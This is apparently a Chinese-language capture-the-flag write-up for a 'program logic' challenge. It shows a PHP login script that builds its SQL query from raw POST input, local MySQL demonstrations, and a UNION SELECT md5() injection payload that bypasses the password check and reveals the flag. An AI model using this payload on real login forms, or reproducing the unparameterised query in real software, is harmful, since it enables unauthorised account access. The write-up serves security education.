程序邏輯問(wèn)題
原題鏈接
分析
查看源碼有個(gè)index.txt
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
//strcasecmp — 二進(jìn)制安全比較字符串（不區(qū)分大小寫）
//和strcmp不同，這里沒(méi)法通過(guò)php弱類型繞過(guò)
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
上面這段代碼的邏輯是這樣的：
- 獲取user的那一行數(shù)據(jù)。
- 把user哪一行數(shù)據(jù)的pw列，md5運(yùn)算后，與提交的pass數(shù)據(jù)做比較尉咕，相等就輸出flag。
這里提交的pass璃岳，我們可控年缎，只要能查出一個(gè)pw就行，無(wú)所謂是誰(shuí)的pw
就是說(shuō)user其實(shí)無(wú)所謂是哪個(gè)铃慷，無(wú)所謂知不知道单芜，只要利用user提交sql注入語(yǔ)句查到一個(gè)md5（pw）
且于提交的md5(pass)相等就行。
可以本地做個(gè)測(cè)試枚冗，更清楚的說(shuō)明這個(gè)問(wèn)題：
mysql> select * from user;
+----------+-----+------------+
| Username | Age | Password |
+----------+-----+------------+
| olivia | 18 | slimslim |
| qingchen | 18 | meimima123 |
| hack | 1 | love_pwn |
| someome | 3 | p@55w0rd |
+----------+-----+------------+
4 rows in set (0.00 sec)
mysql> select password from user where username='hack' union select md5(1);
+----------------------------------+
| password |
+----------------------------------+
| love_pwn |
| c4ca4238a0b923820dcc509a6f75849b |
+----------------------------------+
2 rows in set (0.00 sec)
mysql> select password from user where username='xman' union select md5(1);
+----------------------------------+
| password |
+----------------------------------+
| c4ca4238a0b923820dcc509a6f75849b |
+----------------------------------+
1 row in set (0.00 sec)
于是有了payload:
user=wobuxiwnagyouzhegeren' union select md5(123)#&pass=123
結(jié)果：
Logged in! Key: SimCTF{youhaocongming}
flag
SimCTF{youhaocongming}
知識(shí)點(diǎn)
代碼審計(jì)
sql注入
